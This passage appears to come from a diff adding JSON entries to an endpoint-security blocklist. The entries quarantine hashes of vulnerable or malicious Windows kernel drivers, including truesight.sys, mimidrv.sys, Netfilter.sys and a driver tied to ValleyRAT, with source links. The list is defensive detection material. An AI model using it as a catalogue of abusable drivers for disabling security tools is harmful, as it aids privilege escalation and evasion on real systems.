+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826277Z",
+  "creation_date": "2026-03-23T11:45:31.826280Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826286Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8dffa660be7c9d6ccc87311ed2038e7f65ff271234aee91b4e6eb320ce0ccd8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "609227ab-c0e2-5ed4-a90c-71b7d22990a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970810Z",
+  "creation_date": "2026-03-23T11:45:29.970814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff93411c576df8e6bd0819a81b5c8006b3630001a0f65cd505d09ade7b151780",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6092eebf-1724-5f54-b7ef-c0e5f28e195f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619143Z",
+  "creation_date": "2026-03-23T11:45:29.619144Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c58c38e4737c750ccafa621a18d875299bb5440bb1900eb8469dcf4130049c8",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60a316ca-5506-5081-8417-a195d79e801b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604807Z",
+  "creation_date": "2026-03-23T11:45:29.604809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f97f6d53fff47914174bc3a05fb016e2c02ed0b43c827e5e5aadba2d244aecc",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60aea1fc-ec81-5f53-b4b7-4cb816e71dec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973095Z",
+  "creation_date": "2026-03-23T11:45:29.973097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f66b821601bbbc87aaf656f85d9c91b677a3c5e5162a69322eec51504a830c7",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60b99017-fa90-5cda-aae1-2833c4b3ecff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613753Z",
+  "creation_date": "2026-03-23T11:45:29.613755Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60c6f4f34c7319cb3f9ca682e59d92711a05a2688badbae4891b1303cd384813",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60be8512-8a90-55cb-b95f-08cdd27aafe0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984821Z",
+  "creation_date": "2026-03-23T11:45:29.984823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrSmartConnectDrv.Sys) [https://www.loldrivers.io/drivers/57f63efb-dc43-4dba-9413-173e3e4be750/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60d97f0f-bb3a-5766-afb9-efce6a2f4811",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467792Z",
+  "creation_date": "2026-03-23T11:45:30.467796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467804Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11dc70eb8864bc00b4b8e7c62a52c4602864e2ec717cc0606e1252b119c91085",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60e325ae-75a1-5ed2-b845-27eaa34b1b88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145588Z",
+  "creation_date": "2026-03-23T11:45:31.145590Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e02a1a5c7b7fdb1a04392426a740e42f3318f5e1f597e727c6d15910fbe8e7c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60e77ad7-2b81-5685-918d-3d6452a23841",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145948Z",
+  "creation_date": "2026-03-23T11:45:32.145957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145962Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bf84b41789b3d5d5622732b5c4f5630da189ede2098b0ce166fcae331178377",
+  "comment": "Vulnerable Kernel Driver (aka TSDRVX64.sys) [https://www.loldrivers.io/drivers/424a387e-735e-49d1-99de-f067dcf1c3e9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60ebd6f3-d4c9-52d6-9586-2076d93c6b28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480884Z",
+  "creation_date": "2026-03-23T11:45:30.480887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa0c52cebd64a0115c0e7faf4316a52208f738f66a54b4871bd4162eb83dc41a",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60f3c1cf-fe17-55c2-a2d6-ce82ec10d5a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146619Z",
+  "creation_date": "2026-03-23T11:45:32.146621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15e84d040c2756b2d1b6c3f99d5a1079dc8854844d3c24d740fafd8c668e5fb9",
+  "comment": "Resigned Vulnerable TfSysMon driver used by ValleyRAT (aka amdi2c.sys and tProtect.dll) [https://x.com/anylink20240604/status/1905691075639222521] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60f66a26-a6b7-53ac-84b3-7c00e8c29494",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153453Z",
+  "creation_date": "2026-03-23T11:45:31.153455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8823296ad5d22748afcf520b42bb36a499a59075f9ab20ad284a6d298d324d7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "60fed010-f31c-528f-aa4c-d797608507b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486581Z",
+  "creation_date": "2026-03-23T11:45:31.486585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d3d845765157e937b7b28aed462df187a3cec9596addc5df54614fbd7eeb5d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61153147-5671-535c-95bc-14ad0cc4e590",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481647Z",
+  "creation_date": "2026-03-23T11:45:31.481651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481660Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41c99deafb4d6abfd88eeba042974668ca9b353e815facf1323b4a8f82d22b14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6150d20e-20b2-5dcb-842c-32efab2f5620",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823737Z",
+  "creation_date": "2026-03-23T11:45:30.823739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a7c832f7e92bb42275284956430c67002b58af8483d8e338af8bed6b3bef369",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6155cc1b-0efb-5388-936d-075f8b4b0ef0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144428Z",
+  "creation_date": "2026-03-23T11:45:32.144430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd41e9a82e7be92a5d77624054a0b9e5e725492bae527f31e878140482ce802f",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "616a840f-9cb9-5dca-bfd6-01ad502158a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454419Z",
+  "creation_date": "2026-03-23T11:45:30.454422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c0f77d103015fc29379ba75d133dc3450d557b0ba1f7495c6b43447abdae230",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "616eb9fe-7ec6-5c14-bd03-c6014ff587a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454996Z",
+  "creation_date": "2026-03-23T11:45:30.454999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfe2dd2cf1eb8b79d3b4ae980cda6fd933979d47c837fda77256a24a41316468",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6174d307-b55e-513d-b308-817a1657f131",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144221Z",
+  "creation_date": "2026-03-23T11:45:32.144223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7af2ff5d405cf9cd1aee2410a969ba22d6df78d98e9d4e60cbe624d8a3bc64a6",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "618785c6-cf85-585e-8b54-1d5ab7096efa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970650Z",
+  "creation_date": "2026-03-23T11:45:29.970654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "866c7615e52e73cb2f462e7db41570e513b1fb577088ef14f9eff0c5559b15ac",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "618e9a30-ee48-575a-929d-ecabf2bf099c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153367Z",
+  "creation_date": "2026-03-23T11:45:31.153371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d455f42dd0e8b01958840ab3d534bee8a1c3532540b1b6b3024d1435d174717",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "61b411e1-cd92-532e-81dc-33a78c2a8a07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474423Z",
+  "creation_date": "2026-03-23T11:45:31.474427Z",
+  "enabled": true,
